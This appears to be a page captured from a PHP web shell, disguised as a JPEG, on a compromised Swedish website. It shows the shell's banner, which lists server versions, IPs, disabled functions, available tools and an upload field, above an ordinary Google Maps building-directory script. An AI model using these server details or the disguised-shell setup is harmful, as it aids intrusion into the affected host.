????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 13.59.50.189 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/karta/js/ |
Upload File : |
if (!Array.prototype.indexOf) { Array.prototype.indexOf = function(elt /*, from*/) { var len = this.length; var from = Number(arguments[1]) || 0; from = (from < 0) ? Math.ceil(from) : Math.floor(from); if (from < 0) from += len; for (; from < len; from++) { if (from in this && this[from] === elt) return from; } return -1; }; } var map; var geocoder; var infowindow = new google.maps.InfoWindow(); var markers = []; var directionsDisplay = new google.maps.DirectionsRenderer(); var directionsService = new google.maps.DirectionsService(); var JSON_building = ""; var JSON_management = ""; function requestServerCall(url) { var head = document.head || document.getElementsByTagName("head")[0]; var script = document.createElement("script"); script.setAttribute("src", url); head.appendChild(script); head.removeChild(script); } function jsonpCallback(data,variable) { var v = variable + " = " + JSON.stringify(data); document.getElementById('right_menu_tab1').style.visibility = 'visible'; //alert(v); // Response data from the server eval(v); var x = 0; for (data in JSON_building) { if(JSON_building[x].Latitude != 0.0){ JSON_building[x].Latitude = JSON_building[x].Latitude/100000000; JSON_building[x].Longitude = JSON_building[x].Longitude/100000000; } x++; } } var interval_id; var loaded = false; function downloadData(){ document.getElementById('right_menu_tab1').style.visibility = 'hidden'; if(JSON_management == ""){ var variable = "JSON_building"; var url = SERVER_URL+"Building?take=1000"; requestServerCall(JSON_PROXY_URL+"?callback=jsonpCallback&url="+url+"&variable="+variable); var variable = "JSON_management"; var url = SERVER_URL+"Management?take=1000"; requestServerCall(JSON_PROXY_URL+"?callback=jsonpCallback&url="+url+"&variable="+variable); interval_id = setInterval(function(){checkIfDownloaded()},500); } } function checkIfDownloaded(){ if(JSON_management != "" && JSON_building != ""){ clearInterval(interval_id); initialize(); } } function initialize() { loaded = true; var start_position = new google.maps.LatLng(57.76755,14.19169); var mapOptions = { zoom: 15, mapTypeId: google.maps.MapTypeId.HYBRID, center: start_position }; map = new google.maps.Map(document.getElementById("map_canvas"),mapOptions); geocoder = new google.maps.Geocoder(); directionsDisplay.setMap(map); drawManagementMenu(); drawPurposesMenu(); //drawCityMenu(); } function addBuildingInMap(lat, long, icon, text){ var pos = new google.maps.LatLng(lat,long); var marker = new google.maps.Marker({ map:map, draggable:false, animation: google.maps.Animation.DROP, position: pos, content: text }); marker.setIcon(icon); markers.push(marker); google.maps.event.addListener(marker, 'click', showBuildingInfo); } function showBuildingInfo(event) { var contentString = this.content; infowindow.setContent(contentString); infowindow.setPosition(event.latLng); infowindow.open(map); } function drawManagementMenu(){ var x = 0; var y = 0; var table = ""; var arr = []; //Used for not adding dublicates for (data in JSON_management) { if(JSON_management[x] != undefined){ if(JSON_management[x].ID != null){ if(arr.indexOf(JSON_building[x].Title) == -1){ table += '<table width="300" border="0" cellspacing="0" cellpadding="0"><tr><td width="30" valign="middle" align="left"><input name="management'+y+'" type="checkbox" id="management'+y+'"value="1"/></td><td width="270" valign="middle" align="left"><div id="management_text'+y+'">'+JSON_management[x].ID+' '+JSON_management[x].Title+'</div></td><td width="30" valign="middle" align="left"></td></tr></table>'; arr.push(JSON_management[x].Title); y++; } } } x++; } document.getElementById('Management').innerHTML = table; } function drawPurposesMenu(){ var x = 0; var y = 0; var table = ""; var arr = []; //Used for not adding dublicates for (data in JSON_building) { if(JSON_building[x] != undefined){ if(JSON_building[x].PurposeGUID != null){ if(arr.indexOf(JSON_building[x].PurposeGUID.Title) == -1){ table += '<table width="300" border="0" cellspacing="0" cellpadding="0"><tr><td width="30" valign="left" align="left"><input name="type'+y+'" type="checkbox" id="type'+y+'"value="1" checked="checked" /></td><td width="270" valign="left" align="left"><div id="type_text'+y+'">'+JSON_building[x].PurposeGUID.Title+'</div></td></tr></table>'; arr.push(JSON_building[x].PurposeGUID.Title); y++; } } } x++; } document.getElementById('Purpose').innerHTML = table; } function drawCityMenu(){ var x = 0; var y = 0; var table = ""; var arr = []; //Used for not adding dublicates for (data in JSON_building) { if(JSON_building[x] != undefined){ if(JSON_building[x].City != null){ if(arr.indexOf(JSON_building[x].City) == -1){ table += '<table width="230" border="0" cellspacing="0" cellpadding="0"><tr><td width="45" valign="left" align="left"><input name="city'+y+'" type="checkbox" id="city'+y+'"value="1"/></td><td width="185" valign="left" align="left"><div id="city_text'+y+'">'+JSON_building[x].City+'</div></td></tr></table>'; arr.push(JSON_building[x].City); y++; } } } x++; } document.getElementById('City1').innerHTML = table; } function deleteAllMarkers() { if (markers) { var x = 0; for (i in markers) { if(markers[x] != null){ markers[x].setMap(null); } x++; } } markers = []; } function showBasedOnManagement(){ deleteAllMarkers(); var bounds = new google.maps.LatLngBounds(); var city = []; for(var i = 0; i < 100; i++){ if(document.getElementById('city'+i) != undefined){ if(document.getElementById('city'+i).checked){ city.push(document.getElementById('city_text'+i).innerHTML); } } } var management = []; for(var i = 0; i < 100; i++){ if(document.getElementById('management'+i) != undefined){ if(document.getElementById('management'+i).checked){ management.push(document.getElementById('management_text'+i).innerHTML.substr(0,3)); } } } // Find all buildings lat/long var x = 0; var lat = 0; var long = 0; var number = 0; for (data in JSON_building) { if(JSON_building[x] != undefined){ if(JSON_building[x].ID != undefined){ var ID = JSON_building[x].ID.substr(0,3); for (var j=0; j<management.length; j++) { if (management[j].match(ID)){ if(JSON_building[x].Latitude != 0.0 && JSON_building[x].Longitude != 0.0){ lat+= JSON_building[x].Latitude; long+= JSON_building[x].Longitude; number++; } } } } } x++; } lat = lat / number; long = long / number; //alert("Lat:"+lat+" Long:"+long); var icon = "http://lfkarttjanst-test.lj.se/icons/sjukhus.png"; addBuildingInMap(''+lat+'',''+long+'',icon,'<b>Byggnad:</b>'); var pos = new google.maps.LatLng(lat,long); bounds.extend(pos); x = 0; for (data in JSON_management) { if(JSON_management[x] != undefined){ if(ShallShowManagement(JSON_management[x],city) == true){ var icon = "http://lfkarttjanst-test.lj.se/icons/sjukhus.png"; //addBuildingInMap(''+JSON_building[x].Latitude+'',''+JSON_building[x].Longitude+'',icon,'<b>Byggnad:</b> '+JSON_building[x].Title +" ("+JSON_building[x].ID+")<br><br><b>Verksamhet:</b> "+JSON_building[x].PurposeGUID.Title+"<br><br><b>Adress:</b> <br>"+JSON_building[x].VisitingAddress+"<br>"+JSON_building[x].PostCode+" "+JSON_building[x].City+"<br><br><b>Ägande:</b><br>"+Disposition+"<br><br><b>Ytor:</b><br>"+JSON_building[x].BTA+" kvm (BTA)<br>"+JSON_building[x].BRA+" kvm (BRA)<br>"+JSON_building[x].NTA+" kvm (NTA)<br><br><b>Byggnadsår: </b>"+JSON_building[x].ConstructionYear+" <br><br>"+"<a href=\"javascript:updatePosition('"+JSON_building[x].ID+"');\">Uppdatera position i Landlord</a><br><br><table width='300' border='0' cellspacing='0' cellpadding='0'><tr><td width='100'>Ange din adress:</td><td width='200'><input name='address' type='text' id='address' size='15' /><input type='button' name='button' id='button' value='Visa väg!' onclick='findRoute("+JSON_building[x].ID+");' /></td></tr></table> "); //var pos = new google.maps.LatLng(JSON_management[x].Latitude,JSON_management[x].Longitude); //bounds.extend(pos); } } } if(!bounds.isEmpty()){ map.fitBounds(bounds); } } function showBasedOnPurposeAndManagement(){ if(directionsDisplay != null) { directionsDisplay.setMap(null); directionsDisplay = null; } deleteAllMarkers(); var bounds = new google.maps.LatLngBounds(); var type = []; for(var i = 0; i < 100; i++){ if(document.getElementById('type'+i) != undefined){ if(document.getElementById('type'+i).checked){ type.push(document.getElementById('type_text'+i).innerHTML); } } } var management = []; for(var i = 0; i < 100; i++){ if(document.getElementById('management'+i) != undefined){ if(document.getElementById('management'+i).checked){ management.push(document.getElementById('management_text'+i).innerHTML.substr(0,3)); } } } var placedManagementOnMap = []; var x = 0; for (data in JSON_building) { if(JSON_building[x] != undefined){ if(JSON_building[x].PurposeGUID != null){ if(type.length > 0){ if(ShallShowBuilding(JSON_building[x],type,management) == true){ var icon = ""; if(JSON_building[x].PurposeGUID.Title == "Sjukhus"){ icon = "http://lfkarttjanst-test.lj.se/icons/sjukhus.png"; }else if(JSON_building[x].PurposeGUID.Title == "Tandvård"){ icon = "http://lfkarttjanst-test.lj.se/icons/tand.png"; }else if(JSON_building[x].PurposeGUID.Title == "Vårdcentral"){ icon = "http://lfkarttjanst-test.lj.se/icons/vard.png"; }else if(JSON_building[x].PurposeGUID.Title == "Produktion"){ icon = "http://lfkarttjanst-test.lj.se/icons/prod.png"; }else if(JSON_building[x].PurposeGUID.Title == "Familjecentral"){ icon = "http://lfkarttjanst-test.lj.se/icons/fam.png"; }else if(JSON_building[x].PurposeGUID.Title == "Bostad"){ icon = "http://lfkarttjanst-test.lj.se/icons/bostad.png"; }else if(JSON_building[x].PurposeGUID.Title == "Skola"){ icon = "http://lfkarttjanst-test.lj.se/icons/skola.png"; }else if(JSON_building[x].PurposeGUID.Title == "Administration"){ icon = "http://lfkarttjanst-test.lj.se/icons/admin.png"; }else{ icon = "http://lfkarttjanst-test.lj.se/icons/unkown.png"; } if(JSON_building[x].VisitingAddress != null){ var Disposition = "Uppgift saknas"; if(JSON_building[x].DispositionGUID != null){ Disposition = JSON_building[x].DispositionGUID.Title; } var DispositionValue1 = document.getElementById('Disposition1').checked; var DispositionValue2 = document.getElementById('Disposition2').checked; var DispositionValue3 = document.getElementById('Disposition3').checked; var showBasedOnDisposition = false; if(DispositionValue1 == true ){ showBasedOnDisposition = true; }else{ if(DispositionValue2 == true && Disposition == "Egen"){ showBasedOnDisposition = true; }else if(DispositionValue3 == true && Disposition == "Inhyrd"){ showBasedOnDisposition = true; } } if(showBasedOnDisposition == true){ //addBuildingInMap(''+JSON_building[x].Latitude+'',''+JSON_building[x].Longitude+'',icon,'<b>Byggnad:</b> '+JSON_building[x].Title +" ("+JSON_building[x].ID+")<br><br><b>Verksamhet:</b> "+JSON_building[x].PurposeGUID.Title+"<br><br><b>Adress:</b> <br>"+JSON_building[x].VisitingAddress+"<br>"+JSON_building[x].PostCode+" "+JSON_building[x].City+"<br><br><b>Ägande:</b><br>"+Disposition+"<br><br><b>Ytor:</b><br>"+JSON_building[x].BTA+" kvm (BTA)<br>"+JSON_building[x].BRA+" kvm (BRA)<br>"+JSON_building[x].NTA+" kvm (NTA)<br><br><b>Byggnadsår: </b>"+JSON_building[x].ConstructionYear+" <br><br>"+"<a href=\"javascript:updatePosition('"+JSON_building[x].ID+"');\">Uppdatera position i Landlord</a><br><br><table width='300' border='0' cellspacing='0' cellpadding='0'><tr><td width='100'>Ange din adress:</td><td width='200'><input name='address' type='text' id='address' size='15' /><input type='button' name='button' id='button' value='Visa väg!' onclick='findRoute("+JSON_building[x].ID+");' /></td></tr></table> "); addBuildingInMap(''+JSON_building[x].Latitude+'',''+JSON_building[x].Longitude+'',icon,'<b>Byggnad:</b> '+JSON_building[x].Title +" ("+JSON_building[x].ID+")<br><br><b>Verksamhet:</b> "+JSON_building[x].PurposeGUID.Title+"<br><br><b>Adress:</b> <br>"+JSON_building[x].VisitingAddress+"<br>"+JSON_building[x].PostCode+" "+JSON_building[x].City+"<br><br><b>Ägande:</b><br>"+Disposition+"<br><br><b>Ytor:</b><br>"+JSON_building[x].BTA+" kvm (BTA)<br>"+JSON_building[x].BRA+" kvm (BRA)<br>"+JSON_building[x].NTA+" kvm (NTA)<br><br><b>Byggnadsår: </b>"+JSON_building[x].ConstructionYear+" <br><br><br><table width='300' border='0' cellspacing='0' cellpadding='0'><tr><td width='100'>Ange din adress:</td><td width='200'><input name='address' type='text' id='address' size='15' /><input type='button' name='button' id='button' value='Visa väg!' onclick='findRoute("+JSON_building[x].ID+");' /></td></tr></table> "); var pos = new google.maps.LatLng(JSON_building[x].Latitude,JSON_building[x].Longitude); bounds.extend(pos); } } } }else{ for (var j=0; j<management.length; j++) { var x = 0; var lat = 0; var long = 0; var number = 0; for (data in JSON_building) { if(JSON_building[x] != undefined){ if(JSON_building[x].ID != undefined){ var ID = JSON_building[x].ID.substr(0,3); if (management[j].match(ID)){ if(JSON_building[x].Latitude != 0.0 && JSON_building[x].Longitude != 0.0){ lat+= JSON_building[x].Latitude; long+= JSON_building[x].Longitude; number++; } } } } x++; } lat = lat / number; long = long / number; if(placedManagementOnMap.indexOf(management[j]) === -1){ var html = "<b>Förvaltningsområde:</b>"; var x = 0; for (data in JSON_management) { var ID = JSON_management[x].ID.substr(0,3); if(management[j].match(ID)){ var Ownership = "Uppgift saknas"; if(JSON_management[x].OwnershipGUID != null){ Ownership = JSON_management[x].OwnershipGUID.Title; } var District = "Uppgift saknas"; if(JSON_management[x].DistrictGUID != null){ District = JSON_management[x].DistrictGUID.Title; } html+= JSON_management[x].Title + "("+JSON_management[x].ID+")"; html+= "<br>Beskrivning: "+JSON_management[x].ManagementDescription; html+= "<br><br>Adress: "+JSON_management[x].VisitingAddress; html+= "<br>"+JSON_management[x].PostCode+" "+JSON_management[x].City; html+= "<br><br>Område: "+District; html+= "<br>Ägande: "+Ownership; html+= "<br><br>NTA: "+JSON_management[x].NTA + "<br>BTA: "+JSON_management[x].BTA +"<br>BRA: "+JSON_management[x].BRA; } x++; } var icon = "http://lfkarttjanst-test.lj.se/icons/sjukhus.png"; addBuildingInMap(''+lat+'',''+long+'',icon, html); var pos = new google.maps.LatLng(lat,long); bounds.extend(pos); placedManagementOnMap.push(management[j]); } } } } } x++; } if(!bounds.isEmpty()){ map.fitBounds(bounds); } } function findRoute(ID){ x = 0; var lat = 0; var long = 0; for (data in JSON_building) { if(JSON_building[x].ID == ID){ lat = JSON_building[x].Latitude; long = JSON_building[x].Longitude; } x++; } var start_position = new google.maps.LatLng(lat,long); var request = { origin:start_position, destination:document.getElementById('address').value, travelMode: google.maps.TravelMode.DRIVING }; //alert(document.getElementById('address').value+":"+lat+":"+long); directionsService.route(request, function(result, status) { if (status == google.maps.DirectionsStatus.OK) { directionsDisplay.setDirections(result); //marker.setVisible(false); } }); } function ShallShowManagement(_json, city){ var city_found = false; if(city.length == 0){ city_found = true; } var x = 0; for (c in city) { if(city[x] == _json.City){ city_found = true; } x++; } if(city_found == true ){ return true; }else{ return false; } } function ShallShowBuilding(_json, type, management){ var type_found = false; var management_found = false; if(type.length == 0){ type_found = true; } if(management.length == 0){ management_found = true; } var x = 0; for (t in type) { if(type[x] == _json.PurposeGUID.Title){ type_found = true; } x++; } var x = 0; for (m in management) { if(management[x] == _json.ID.substr(0,3)){ // _json.ID.substr(0,3) gives first 3 chars, 101A1 => 101 management_found = true; } x++; } if(type_found == true && management_found == true ){ return true; }else{ return false; } } function searchBuilding(){ document.getElementById('not_found').innerHTML = ""; var text = document.getElementById('search').value; var x = 0; var found = 0; var bounds = new google.maps.LatLngBounds(); for(m in markers){ if(markers[x].content.toUpperCase().indexOf(text.toUpperCase()) >= 0){ markers[x].setAnimation(google.maps.Animation.BOUNCE); setTimeout("markers["+x+"].setAnimation(null)", 3400); bounds.extend(markers[x].position); found++; } x++; } if(found == 0){ document.getElementById('not_found').innerHTML = "Hittas inte!"; }else{ map.fitBounds(bounds); document.getElementById('not_found').innerHTML = found + " träffar!"; } } function updatePosition(ID){ var x = 0; var lat; var long; for(m in markers){ if(markers[x].content.indexOf(ID) > 0){ lat = markers[x].position.lat(); long = markers[x].position.lng(); } x++; } x = 0; var d = ""; for (data in JSON_building) { if(JSON_building[x].ID == ID){ JSON_building[x].Latitude = lat; JSON_building[x].Longitude = long; d = JSON.stringify(JSON_building[x]); } x++; } //alert(d); var ajax = getRequest(); var s = "http://jonkoping.test.5d.se/api/v1/building/action/save/?data="+d; ajax.open("GET", s, true); ajax.send(null); alert("Koordinaterna har uppdaterats, det kan ta upp till 24h innan ändringen slår igenom live"); } function getRequest() { var req = false; try{ // most browsers req = new XMLHttpRequest(); } catch (e){ // IE try{ req = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { // try an older version try{ req = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e){ return false; } } } return req; }